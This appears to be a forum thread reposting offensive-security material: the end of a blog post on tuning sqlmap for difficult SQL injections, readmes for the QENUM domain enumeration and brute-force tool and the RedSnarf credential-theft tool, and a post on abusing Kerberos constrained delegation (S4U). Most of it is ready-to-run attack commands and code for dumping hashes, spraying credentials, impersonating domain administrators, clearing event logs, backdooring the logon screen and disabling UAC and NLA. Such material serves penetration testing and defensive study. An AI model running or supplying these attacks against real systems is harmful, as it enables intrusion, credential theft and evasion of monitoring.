Here is an example showing how to match a section of HTML that includes newlines (\x0a) and tabs (\x09). --string='Name\x0a\x09\x09Stephen' When your detection needs are more complex than what can be satisfied by the above options, there is also another sqlmap feature that with a little bit of imagination you can abuse in order to perform more complex comparative logic, which leads us to... Second order injection sqlmap contains a --second-order option, which is intended to be used to enable exploitation of second order SQL injection vulnerabilities, where the results of an SQL injection need to be retrieved from a different URL than that is used to actually perform the injection. The option allows you to provide a single URL which will be requested by sqlmap after each injection payload is sent, and then parsed as per normal configured sqlmap behavior. By setting the --second-order option to point to your own locally run custom forwarding and parsing server, you can make use of this option to return arbitrary content to sqlmap, perhaps based on data you have automatically retrieved from the target site. This capability can be used to do things such as retrieve data from a dynamically changing second order URL at the target site, or to retrieve content from the remote site and perform complex parsing or logic checks on it, passing through to sqlmap something that it can process using its inbuilt functionality. This link contains a modifiable second-order forwarding server that I wrote in Python to work with sqlmap, which can be run locally from the command line. It starts its own http server locally on the loopback address, and when it receives a request from sqlmap it can request data from another website, then return the (optionally) parsed data back to sqlmap. It is based on Python classes that I wrote specifically to facilitate reuse and modification, so if you can code simple Python you can change it to do any parsing or fetching job you wish. Tamper scripts Tamper scripts in sqlmap allow you to make programmatic changes to all the request payloads sent by sqlmap, in order to facilitate the bypass of web application firewalls and other filters. If you are dealing with filters that prohibit, for example, all whitespace within an injection string, there is a tamper script configured that can help (--tamper=space2comment). A reasonably up to date listing of available tamper scripts and their purpose is available here. Custom written test payloads sqlmap comes configured with a large number of test payloads that it can use to perform injections. These are defined within xml files named after the associated injection technique stored in xml/payloads under the sqlmap root path. You can add your own payloads into these files by copying the xml nodes of an existing test (one thats simlar to the one you want to create) and modifying it as required. There is an example of doing this here, and a specific example of how to use custom test payloads to exploit a boolean blind issue inside the ORDER BY clause will be provided in a future post. Verbosity and debugging injection checks One extremely useful option for troubleshooting sqlmap's detection process is the output verbosity option. The specific setting I use most frequently when getting an injection working is -v3, which will show each raw payload that is sent by sqlmap. This allows you to compare the payloads sent by sqlmap to your own POC SQL injection string developed during discovery of the vulnerability, to determine where sqlmap is incorrectly diverging. If you need to use tamper scripts as well to bypass a filter, you can try verbosity level -v4 to also see the HTTP requests sent, as -v3 verbosity will not show the affect of tamper scripts. Note: You can also configure sqlmap to work through an intercepting proxy for debugging purposes. However, while I generally always have Burp Suite running when Im testing any web application, I usually prefer to avoid filling up my proxy history and slowing down the operation of sqlmap by doing this. Sometimes, if I really want to have a close look at requests and responses, I will run up a separate proxy instance using something like ZA Proxy. Auto answering Under certain circumstances, sqlmap will ask you the same set of one or more repeated questions every time you run the tool. Some of these questions are without their own associated command line options, and therefore without an obvious way to inform sqlmap of the desired behavior so you don't have to repeatedly answer the same question the same way every time sqlmap prompts you. The --answers option allows you to provide a standard response to these questions - to use it, pick a unique term from the question itself, and provide this along with the desired response. For example, to preemptively answer Yes to allow sqlmap to attempt to "optimize" timing settings during blind timing based injections, use the following. --answers='optimize=Y' Session flushing sqlmap keeps session information about each url, including which techniques and payloads have been confirmed to work and what data has been retrieved from the site. If a non optimal payload type has been associated with a particular url within the relevant session, you may want to clear that session information in order to try and get a new payload to work. You can flush all data associated with a URL, and force the detection process to run again, using the following option. --flush-session Other options Some other options I commonly use are the parameter option which specifies which parameter is used to perform the injection (e.g. -p 'vulnerable_parameter') and the options to specify the database (e.g. --dbms='mysql') and the Operating System (--os='linux') in use on the remote server. These all help sqlmap to avoid making extraneous requests beyond what you already know will be effective based on your knowledge of the target web application. Sometimes of course the injection point is not within a parameter, in which case sqlmap has other options which can be used to target its operation, such as the asterisk character which can be used to set manual injection point within a request. Tweaking sqlmap options to detect tricky injections Before you can use sqlmap to effectively exploit an injection issue, you must get it to detect the vulnerability, which associates one or more injection techniques and payloads with the URL associated with the issue. Once this has occurred, the detection process does not need to run again, and sqlmaps options for exploitation and data retrieval can be immediately used on subsequent executions of the tool. The following is the process I use for taking a manually discovered SQL injection vulnerability and configuring sqlmap to exploit it. Develop the manual exploit to the point where a POC for the best applicable exploitation technique exists. For a UNION SELECT vulnerability, this means you want to discover the number of columns in the UNION, and perhaps also the datatypes of each column (numeric, text, date, etc). For a boolean blind, you will want to be able to trigger different pages responses for True and False conditions, and determine how you could differentiate the True response from the False. For a time based blind, you want to get a response to delay for a given period of seconds based on the success or failure of some comparison you make, etc. This step will also include working out whether any specific characters are restricted by some sort of filter or other application issue, and hence are unusable in performing the injection. Run sqlmap, configuring the backend database type (--dbms), Operating System (--os), and technique (--technique) options to specifically target the manually discovered issue. Set the parameter (-p) option as well if the injection is in a URL or POST data parameter, or use other options such as the injection point asterisk (*) as appropriate to tell sqlmap exactly where the injection is located. This helps focus the detection process, minimising requests sent and time taken by ignoring non-vulnerable parameters and payloads that target other databases or are associated with unwanted injection techniques. You may also need to provide proxy details, cookies or other authentication options, CSRF management options, safe URL settings to avoid lockouts, etc as appropriate, to ensure that sqlmap can correctly send and receive HTTP requests and responses. If you have already created a manual injection POC in a separate tool you should already know all the correct settings to use for this purpose. Leave all other options at the default. I do all my manual testing using Burp Suite Professional, so I use the CO2 plugin and its SQLMapper component to quickly set the relevant command line options. From this point on in the process, as soon as you get sqlmap to detect the vulnerability, you can skip the remaining steps (hopefully thats obvious). Run the detection again, however this time use the -v3 verbose option on so you can see the payloads being sent. Scroll through the output, looking for an injection string thats similar in layout to the POC developed earlier, which will cause the response you require. At this point you may see the names of likely looking payloads that are not being sent here because the --level or --risk settings are too low. If so, raise these values and try again and see if you can find an appropriate payload that comes as close as possible to what you need. If at this point you still do not see a payload that looks like it will be able to provide the output needed to make the injection succeed, you will need to write your own. Pick an example from the xml file named after the appropriate injection technique thats as close as possible to what you need, and modify as required. The earlier section on custom test payloads contains references that help describe this process, and a future post in this series will also have a specific example. Once sqlmap is sending a payload that is logically similar to your POC, the goal is to now tweak the relevant sqlmap options to get the request syntactically correct for the injection. At this point you will want to set the --test-filter option in order to send only your chosen payload, and try and determine what needs to change with the payload to make it work. By "work" I mean that you must be creating injected queries that are syntactically correct and the results must not involve database errors, displayed to you or otherwise, UNLESS you are doing error based injection and that error is displayed to you and contains your chosen content. This troubleshooting may involve taking the payload from the sqlmap verbose output and pasting it into your manual testing tool (i.e. Burp Suite Professional's Repeater) to see if it returns a syntactically correct result. Sometimes however, you can just eyeball it and tell where there are some obvious issues. The next step provides guidance on how to fix syntax issues. If the payload being sent is resulting in a SQL query that is NOT syntactically correct, there are 3 primary reasons for this. Work out which issue (or combination of issues) is causing the problem, and work to resolve these as discussed below before moving on to the next step. The first possible reason is that the prefix and suffix have been set incorrectly (either manually by you or automatically by sqlmap). You know this is the case if the text used at the start of the payload to break into the injection, or the text at the end used to terminate it, are syntactically different from your POC. Correctly set the suffix and prefix options to fix this - the right values should be easy to identify as they will be included in your manual POC. Be aware here that certain test payloads are configured to place random values at the start of the payload output. If you set the --prefix option and don't see the configured string at the very start of the payload output you are using in sqlmap's verbose output, you know that the payload configuration itself is the cause (specifically, the where option in the payload configuration), which is the second possible reason. Second, the definition of the test payload itself is causing an error for some reason. I have seen the sqlmap default payloads break in some cases, but the most likely way for this to occur is when you have written the payload yourself. If the text or logic or the placement of the random values used by sqlmap in the meat of the payload is causing the issue, the problem might be with the definition of the test payload (or you might be focusing on using the wrong payload and another one you have overlooked is more appropriate). Modify the payload, try a different one, or create a your own custom new one to fix this. Third, there is some sort of filter implemented in the space between when you send the request and when the resultant query reaches the database that is causing an otherwise syntactically correct payload to be rejected. This is where tamper scripts can be used to (hopefully) filter out or replace the offending characters. Don't forget to bump your verbosity setting to -v4 in order to see HTTP requests in the output if you need to troubleshoot these. You can either use one of the existing tamper scripts (if a suitable one exists) or write your own. If the filtering is particularly prohibitive, you may need to consider writing a payload that makes use of inventive SQL to avoid your given bad patterns. Once your queries are syntactically correct, the next step is ensuring that sqlmap can correctly interpret the results it is receiving (and, in the case of second order injections, that it is receiving the correct results at all!). Setting aside second-order injections for the moment (we will cover this in more detail in a future example), sqlmap is generally pretty good at this for all of its techniques other than boolean blind injection. For these, you will often need to tell it how to distinguish True from False responses. This is where the detection options such as --string, --not-string and --regex discussed earlier come into play - use these to help sqlmap identify the appropriate responses. Once you have completed these steps sqlmap should have correctly detected your vulnerability and be ready to exploit it. This completes this entry in the series, stay tuned for the next post, where I will show some examples. POSTED BY STEPHEN BRADSHAW AT 6:25 PM Sursa: http://www.thegreycorner.com/2017/01/exploiting-difficult-sql-injection.html
  9. QENUM - Quick Enum QENUM is an attack tool which carries out commonly needed basic enumeration tasks when probing a Domain Controller. .-') ('-. .-') _ _ .-') .( OO) _( OO) ( OO ) ) ( '.( OO )_ (_)---\_) (,------.,--./ ,--,' ,--. ,--. ,--. ,--.) ' .-. ' | .---'| \ | |\ | | | | | `.' | ,| | | | | | | \| | )| | | .-') | | (_| | | | (| '--. | . |/ | |_|( OO )| |'.'| | | | | | | .--' | |\ | | | | `-' /| | | | ' '-' '-.| `---.| | \ | (' '-'(_.-' | | | | `-----'--'`------'`--' `--' `-----' `--' `--' QENUM functionality includes: • User enumeration using RID cycling or Enumdomusers - user names saved to file • Basic password brute-forcing • Enumerates Domain Admins - usernames saved to file • Enumerates shares, attempts to mount shares and dir • Enumerates user accounts which have a description field which is not empty, usernames and descriptions saved to file for analysis Username Gathering [*]RID Cycle To RID Cycle with qenum -H target ip -u username -p password -s start RID (default 500) -t to RID (default 550) -m cycle method r qenum.py -H 10.0.0.1 -u rich -p mypassword -s 500 -t 1500 -m r For NULL Sessions qenum.py -H 10.0.0.1 -u "" -s 500 -t 1500 -m r Any enumerated usernames will be output to a file on the local machine [*]Enumdomusers To gather users with Enumdomusers -H target ip -u username -p password -m cycle method e qenum.py -H 10.0.0.1 -u rich -p mypassword -m e For NULL Sessions qenum.py -H 10.0.0.1 -u "" -m e Any enumerated usernames will be output to a file on the local machine Password Cracking To crack the password for found usernames -H target ip -u filename containing username list -p password to try against each username qenum.py -H 10.0.0.1 -u file=10.0.0.12_users.txt -p PasswordToTry Useful Enumeration Functions Functions - All Functions -a, Enumerate Shares -s, Enumerate Domain Admins -da, Enumerate Descriptions -d [*]All Functions To run all enumeration functions -H target ip -u username -p password -f a qenum.py -H 10.0.0.1 -u rich -p mypassword -f a [*]Enumerate Shares This function retrieves share names and then tries to mount each one. If successful it then does a directory listing -H target ip -u username -p password -f s qenum.py -H 10.0.0.1 -u rich -p mypassword -f s [*]Domain Admins This function retrieves a list of Domain Admins and then saves to file ready for password attacks -H target ip -u username -p password -f da qenum.py -H 10.0.0.1 -u rich -p mypassword -f da [*]Enumerate Descriptions This function enumerates all users and looks for accounts where the description is not empty. Accounts which meet this criteria will be saved to file. -H target ip -u username -p password -f d qenum.py -H 10.0.0.1 -u rich -p mypassword -f d Sursa: https://github.com/dickdavy/qenum
  10. S4U2Pwnage January 5, 2017 by harmj0y Several weeks ago my workmate Lee Christensen (who helped develop this post and material) and I spent some time diving into Active Directory’s S4U2Self and S4U2Proxy protocol extensions. Then, just recently, Benjamin Delpy and Ben Campbell had an interesting public conversation about the same topic on Twitter. This culminated with Benjamin releasing a modification to Kekeo that allows for easy abuse of S4U misconfigurations. As I was writing this, Ben also published an excellent post on this very topic, which everyone should read before continuing. No, seriously, go read Ben’s post first. Lee and I wanted to write out our understanding of the technology and how you can go about abusing any misconfigurations while on engagements. Some of this will overlap with Ben’s post, but we have incorporated a few different aspects that we think add at least a bit of value. Ben also covers the Linux exploitation aspect, which we won’t touch on in this post. At the heart of this matter is the delegation of privileges – allowing one user to pretend to be another in Active Directory. This delegation (currently) comes in two flavors: unconstrained and constrained delegation. If you don’t care about the technical details, skip to the Abusing S4U section. Unconstrained Delegation Say you have a server (or service account) that needs to impersonate another user for some reason. One common scenario is when a user authenticates to a web server, using Kerberos or other protocols, and the server wants to nicely integrate with a SQL backend. Active Directory grants two general ways to go about this: constrained and unconstrained delegation. Unconstrained delegation used to be the only option available in Windows 2000, and the functionality has been kept (presumably for backwards compatibility reasons). We’ll only briefly cover this delegation type as Sean Metcalf has a great post that covers it in depth. In that article Sean states, “When Kerberos Unconstrained Delegation is enabled on the server hosting the service specified in the Service Principal Name referenced in the TGS-REQ (step 3), the Domain Controller the DC places a copy of the user’s TGT into the service ticket. When the user’s service ticket (TGS) is provided to the server for service access, the server opens the TGS and places the user’s TGT into LSASS for later use. The Application Server can now impersonate that user without limitation!“. Here’s a graphical overview of the protocol from Microsoft: https://msdn.microsoft.com/en-us/library/cc246080.aspx Tl;dr: The TGT will be stuffed into memory where an attacker can extract and reuse it if: You are able to compromise a server that has unconstrained delegation set. You are able to trick a domain user that doesn’t have ‘Account is sensitive and cannot be delegated’ enabled (see Protections below) to connect to any service on the machine. This includes clicking on \\SERVER\Share. This allows an attacker to impersonate that user to any service/machine on the domain! Obviously bad mmmkay. To contrast, if unconstrained delegation isn’t enabled, just a normal service ticket without a TGT stuffed inside it would be submitted, so the attacker would get no additional lateral spread advantage. How can you tell which machines have unconstrained delegation set? This is actually pretty easy: search for any machine that has a userAccountControl attribute containing ADS_UF_TRUSTED_FOR_DELEGATION. You can do this with an LDAP filter of ‘(userAccountControl:1.2.840.113556.1.4.803:=524288)’, which is what PowerView’s Get-DomainComputer function does when passed the -Unconstrained flag: Constrained Delegation Obviously unconstrained delegation can be quite dangerous in the hands of a careless admin. Microsoft realized this early on and released ‘constrained’ delegation with Windows 2003. This included a set of Kerberos protocol extensions called S4U2Self and S4U2Proxy. These extensions also enable something called protocol transition, which we’ll go over in a bit. In essence, constrained delegation is a way to limit exactly what services a particular machine/account can access while impersonating other users. Here’s how a service account configured with constrained delegation looks in the Active Directory GUI: The ‘service’ specified is a service principal name that the account is allowed to access while impersonating other users. This is HOST/PRIMARY.testlab.local in our above example. Before we get into the specifics of how this works, here’s how that target object looks in PowerView: The field of interest is msds-allowedtodelegateto, but there’s also a modification to the account’s userAccountControl property. Essentially, if a computer/user object has a userAccountControl value containing TRUSTED_TO_AUTH_FOR_DELEGATION then anyone who compromises that account can impersonate any user to the SPNs set in msds-allowedtodelegateto. Ben mentions SeEnableDelegationPrivilege being required to actually modify these parameters, which I’ll go over in more depth next week. But first, a bit more on how Active Directory implements this whole process. Feel free to skip ahead to the Abusing S4U section if you’re not interested. S4U2Self, S4U2Proxy, and Protocol Transition So you have a web service account that needs to impersonate users to only a specific backend service, but you don’t want to allow unconstrained delegation to run wild. Microsoft’s solution to how to architect this is through the service-for-user (S4U) set of Kerberos extensions. There’s extensive documentation on this topic; Lee and I were partial to the Microsoft’s “Kerberos Protocol Extensions: Service for User and Constrained Delegation Protocol” ([MS-SFU]). What follows is our current understanding. If we’ve messed something up, please let us know! The first extension that implements constrained delegation is the S4U2self extension, which allows a service to request a special forwardable service ticket to itself on behalf of a particular user. This is meant for use in cases where a user authenticates to a service in a way not using Kerberos, i.e. in our web service case. During the first KRB_TGS_REQ to the KDC, the forwardable flag it set, which requests that the TGS returned be marked as forwardable and thus able to be used with the S4U2proxy extension. In unconstrained delegation, a TGT is used to identify the user, but in this case the S4U extension uses the PA-FOR-USER structure as a new type in the “padata”/pre-authentication data field. Note that the S4U2self process can be executed for any user, and that target user’s password is not required. Also, the S4U2self process is only allowed if the requesting user has the TRUSTED_TO_AUTH_FOR_DELEGATION field set in their userAccountControl. Now, Lee and I first thought that this may be a way to Kerberoast any user we wanted, but unfortunately for us attackers this isn’t the case. The PAC is signed for the source (not the target) user, in this case the requesting service account, so universal Kerberoasting is out of the picture. But we now have a special service ticket that’s forwardable to the target service configured for constrained delegation in this case. The second extension is S4U2proxy, which allows the caller, the service account in our case, to use this forwardable ticket to request a service ticket to any SPN specified in msds-allowedtodelegateto, impersonating the user specified in the S4U2self step. The KDC checks if the requested service is listed in the msds-allowedtodelegateto field of the requesting user, and issues the ticket if this check passes. In this way the delegation is ‘constrained’ to specific target services. Here’s Microsoft’s diagram of S4U2self and S4U2proxy: https://msdn.microsoft.com/en-us/library/cc246080.aspx This set of extensions allows for what Microsoft calls protocol transition, which starts with the first Kerberos exchange during the S4u2Self component. This means that a service can authenticate a user over a non-Kerberos protocol and ‘transition’ the authentication to Kerberos, allowing for easy interoperability with existing environments. Abusing S4U If you’re asking yourself “so what” or skipped ahead to this section, we can think of a few ways that the S4U extensions can come into play on a pentest. The first is to enumerate all computers and users with a non-null msds-allowedtodelegateto field set. This can be done easily with PowerView’s -TrustedToAuth flag for Get-DomainUser/Get-DomainComputer: Now, remember that a machine or user account with a SPN set under msds-allowedtodelegateto can pretend to be any user they want to the target service SPN. So if you’re able to compromise one of these accounts, you can spoof elevated access to the target SPN. For the HOST SPN this allows complete remote takeover. For a MSSQLSvc SPN this would allow DBA rights. A CIFS SPN would allow complete remote file access. A HTTP SPN it would likely allow for the takeover of the remote webservice, and LDAP allows for DCSync ; ) HTTP/SQL service accounts, even if they aren’t elevated admin on the target, can also possibly be abused with Rotten Potato to elevate rights to SYSTEM (though I haven’t tested this personally). Luckily for us, Benjamin recently released a modification to Kekeo to help facilitate these types of lateral spread attacks if we know the plaintext password of the specific accounts. Lee and I envision four different specific scenarios involving S4U that you may want to abuse. We have tested two of the scenarios in a lab reliably, but haven’t been able to get the other two working (notes below). [edit]: @gentilkiwi reached out and let Lee and I know that asktgt.exe accepts a /key:NTLM argument as well as a password. This allows us to execute scenarios 3 and 4 below using account hashes instead of plaintexts! Scenario 1 : User Account Configured For Constrained Delegation + A Known Plaintext This is the scenario that Benjamin showed in his tweet. If you are able to compromise the plaintext password for a user account that has constrained delegation enabled, you can use Kekeo to request a TGT, execute the S4U TGS request, and then ultimately access the target service. Enumerating users with msds-allowedtodelegateto Requesting a TGT for the user account with constrained delegation enabled Using s4u.exe to execute S4U2Proxy Injecting the S4U ticket to utilize access Again, if you would like to execute this attack from a Linux system, read Ben’s post. Scenario 2 : Agent on a Computer Configured For Constrained Delegation If you are able to compromise a computer account that is configured for constrained delegation (instead of a user account) the attack approach is a bit different. As any process running as SYSTEM takes on the privileges of the local machine account, we can skip the Kekeo asktgt.exe step. You can also use an alternative method to execute the S4U2Proxy process, helpfully provided by Microsoft. Lee and I translated the process from C# into PowerShell as follows: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 # translated from the C# example at https://msdn.microsoft.com/en-us/library/ff649317.aspx # load the necessary assembly $Null = [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel') # execute S4U2Self w/ WindowsIdentity to request a forwardable TGS for the specified user $Ident = New-Object System.Security.Principal.WindowsIdentity @('Administrator@TESTLAB.LOCAL') # actually impersonate the next context $Context = $Ident.Impersonate() # implicitly invoke S4U2Proxy with the specified action ls \\PRIMARY.TESTLAB.LOCAL\C$ # undo the impersonation context $Context.Undo() As detailed by Microsoft, when using WindowsIdentity, an “identify-level” token is returned by default for most situations. This allows you to see what groups are associated with the user token, but doesn’t allow you to reuse the access. In order to use the impersonation context to access additional network resources, an impersonation-level token is needed, which is only returned when the requesting account has the “Act as part of the operating system” user right (SeTcbPrivilege). This right is only granted to SYSTEM by default, but since we need to be SYSTEM already to use the privileges of the machine account on the network, we don’t need to worry. Also, due to some of the powershell.exe peculiarities I mentioned a bit ago, if you are using PowerShell Version 2, you need to launch powershell.exe in single-thread apartment mode (with the “-sta” flag) in order for the token impersonation to work properly: SYSTEM on a computer with msds-allowedtodelegateto set S4U2Proxy for a computer account Scenario 3 : User Account Configured For Constrained Delegation + A Known NTLM Hash Our next goal was to execute this transition attack from a Window system only given the the target user’s NTLM hash, which we were unfortunately not able to get working properly with the same method as scenario 2. Our gut feeling is that we’re missing some silly detail, but we wanted to detail what we tried and what went wrong in case anyone had a tip for getting it working properly. [Edit] Ben’s pointed out that /key:NTLM works for asktgt.exe as well, which is covered below. We attempted to use Mimikatz’ PTH command to inject the user’s hash into memory (assuming you are a local admin on the pivot system) instead of Kekro’s asktgt.exe. One issue here (as in scenario 2) is SeTcbPrivilege, but despite explicitly granting our principal user that right we still ran into issues. It appears that the the S4U2Self step worked correctly: Despite the necessary privileges/rights, it appeared that the S4U2Proxy process fell back to NTLM instead of Kerberos with some NULL auths instead of the proper process: [Edit] You can execute this scenario with asktgt.exe/s4u.exe nearly identically to scenario 1. Simply substitute /key:NTLM instead of /password:PLAINTEXT: Scenario 4 : Computer Account Configured For Constrained Delegation + A Known NTLM Hash If you compromise a computer account hash through some means, and want to execute the attack from another domain machine, we imagined that you would execute an attack flow nearly identical to scenario 3. Unfortunately, we ran into the same problems. Again, if anyone can give us a tip on what we’re doing wrong, we would be greatly appreciative [Edit] This can be executed with /user:MACHINE$ and /key:NTLM for asktgt.exe, identical to scenario 3: Protections Microsoft has a great protection already built into Active Directory that can help mitigate delegation abuse. If an account has “Account is sensitive and cannot be delegated” enabled, then “the security context of the user will not be delegated to a service even if the service account is set as trusted for Kerberos delegation“. You can easily check if an account has this set by again examining the userAccountControl attribute, checking for the NOT_DELEGATED value. PowerView allows you to easily search for accounts with this value set or not set (Get-DomainUser -AllowDelegation/-DisallowDelegation) and you can use the ConvertFrom-UACValue function to examine the values set for a particular account, as shown in previous examples. Next week I will have a post that overlaps a bit with this topic, and presents additional defensive ideas concerning the rights needed to modify these delegation components for user objects. Sursa: http://www.harmj0y.net/blog/activedirectory/s4u2pwnage/
  11. ______ .____________ _____ \______ \ ____ __| _/ _____/ ____ _____ ________/ ____\ | _// __ \ / __ |\_____ \ / \\__ \\_ __ \ __\ | | \ ___// /_/ |/ \ | \/ __ \| | \/| | |____|_ /\___ >____ /_______ /___| (____ /__| |__| \/ \/ \/ \/ \/ \/ RedSnarf is a pen-testing / red-teaming tool by Ed William and Richard Davy for retrieving hashes and credentials from Windows workstations, servers and domain controllers using OpSec Safe Techniques. RedSnarf functionality includes: • Retrieval of local SAM hashes; • Enumeration of user/s running with elevated system privileges and their corresponding lsa secrets password; • Retrieval of MS cached credentials; • Pass-the-hash; • Quickly identify weak and guessable username/password combinations (default of administrator/Password01); • The ability to retrieve hashes across a range; • Hash spraying - o Credsfile will accept a mix of pwdump, fgdump and plain text username and password separated by a space; • Lsass dump for offline analysis with Mimikatz; • Dumping of Domain controller hashes using NTDSUtil and retrieval of NTDS.dit for local parsing; • Dumping of Domain controller hashes using the drsuapi method; • Retrieval of Scripts and Policies folder from a Domain controller and parsing for 'password' and 'administrator'; • Ability to decrypt cpassword hashes; • Ability to start a shell on a remote machine; • The ability to clear the event logs (application, security, setup or system); (Internal Version only) • Results are saved on a per-host basis for analysis. • Enable/Disable RDP on a remote machine. • Change RDP port from 3389 to 443 on a remote machine. • Enable/Disable NLA on a remote machine. • Find where users are logged in on remote machines. • Backdoor Windows Logon Screen • Enable/Disable UAC on a remote machine. • Stealth mimikatz added. • Parsing of domain hashes • Ability to determine which accounts are enabled/disabled RedSnarf Usage ======================= Requirements: Impacket v0.9.16-dev - https://github.com/CoreSecurity/impacket.git CredDump7 - https://github.com/Neohapsis/creddump7 Lsass Retrieval using procdump - https://technet.microsoft.com/en-us/sysinternals/dd996900.aspx Netaddr (0.7.12) - pip install netaddr Termcolor (1.1.0) - pip install termcolor iconv - used with parsing Mimikatz info locally Show Help ./redsnarf.py -h ./redsnarf.py --help Retrieve Local Hashes ======================= Retrieve Local Hashes from a single machine using weak local credentials and clearing the Security event log ./redsnarf.py -H ip=10.0.0.50 -uC security Retrieve Local Hashes from a single machine using weak local credentials and clearing the application event log ./redsnarf.py -H ip=10.0.0.50 -uC application Retrieve Local Hashes from a single machine using local administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d . Retrieve Local Hashes from a single machine using domain administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com Retrieve Hashes across a network range using local administrator credentials ./redsnarf.py -H range=10.0.0.1/24 -u administrator -p Password01 -d . Retrieve Hashes across a network range using domain administrator credentials ./redsnarf.py -H range=10.0.0.1/24 -u administrator -p Password01 -d yourdomain.com Retrieve Hashes across a network range using domain administrator credentials ./redsnarf.py -H file=targets.txt -u administrator -p Password01 -d yourdomain.com Hash Spraying ======================= Spray Hashes across a network range ./redsnarf.py -H range=10.0.0.1/24 -hS credsfile -d . Retrieve Hashes across a network range domain login ./redsnarf.py -H range=10.0.0.1/24 -hS credsfile -d yourdomain.com Quickly Check Credentials ./redsnarf.py -H ip=10.0.0.1 -u administrator -p Password1 -d . -cQ y Quickly Check File containing usernames (-hS) and a generic password (-hP) ./redsnarf.py -H ip=10.0.0.1 -hS /path/to/usernames.txt -hP PasswordToTry -cQ y Retrieve Domain Hashes ======================= Retrieve Hashes using drsuapi method (Quickest) This method supports an optional flag of -q y which will query LDAP and output whether accounts are live or disabled ./redsnarf.py -H ip=10.0.0.1 -u administrator -p Password01 -d yourdomain.com -hI y (-hQ y) Retrieve Hashes using NTDSUtil This method supports an optional flag of -q y which will query LDAP and output whether accounts are live or disabled ./redsnarf.py -H ip=10.0.0.1 -u administrator -p Password01 -d yourdomain.com -hN y (-hQ y) Information Gathering ======================= Copy the Policies and Scripts folder from a Domain Controller and parse for password and administrator ./redsnarf.py -H ip=10.0.0.1 -u administrator -p Password01 -d yourdomain.com -uP y Decrypt Cpassword ./redsnarf.py -uG cpassword Find User - Live /redsnarf.py -H range=10.0.0.1/24 -u administrator -p Password01 -d yourdomain.com -eL user.name Find User - Offline (searches pre downloaded information) /redsnarf.py -H range=10.0.0.1/24 -u administrator -p Password01 -d yourdomain.com -eO user.name Misc ======================= Start a Shell on a machine using local administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d . -uD y Start a Shell on a machine using domain administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -uD y Retrieve a copy of lsass for offline parsing with Mimikatz on a machine using local administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d . -hL y Run stealth mimikatz, this option fires up a web-server to serve a powershell script, this is obfusctaed and encoded machine side, data doesnt touch disk - creds are grepped for in an easy to read style and echoed back to screen. ./redsnarf.py -H ip=192.168.198.162 -u administrator -p Password01 -cS y -hR y Run Custom Command Example 1 ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -uX 'net user' Example 2 - Double Quotes need to be escaped with \ ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -uX 'dsquery group -name \"domain admins\" | dsget group -members -expand' Local Access Token Policy Creates a batch file lat.bat which you can copy and paste to the remote machine to execute which will modify the registry and either enable or disable Local Access Token Policy settings. ./redsnarf.py -rL y Wdigest Enable UseLogonCredential Wdigest registry value on a machine using domain administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rW e Disable UseLogonCredential Wdigest registry value on a machine using domain administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rW d Query UseLogonCredential Wdigest registry value on a machine using domain administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rW q UAC Enable UAC registry value on a machine using domain administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rU e Disable UAC registry value on a machine using domain administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rU d Query UAC registry value on a machine using domain administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rU q Backdoor - Backdoor Windows Screen - Press Left Shift + Left Alt + Print Screen to activate Enable Backdoor registry value on a machine using domain administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rB e Disable Backdoor registry value on a machine using domain administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rB d Query Backdoor registry value on a machine using domain administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rB q RDP ======================= RDP Enable RDP on a machine using domain administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rR e Disable RDP on a machine using domain administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rR d Query RDP status on a machine using domain administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rR q Change RDP Port from 3389 to 443 - Change RDP Port to 443 on a machine using domain administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rT e Change RDP Port to default of 3389 on a machine using domain administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rT d Query RDP Port Value on a machine using domain administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rT q NLA ======================= Enable NLA on a machine using domain administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rN e Disable NLA on a machine using domain administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rN d Query NLA status on a machine using domain administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rN q Sursa: https://github.com/nccgroup/redsnarf
      • 2
      • Upvote
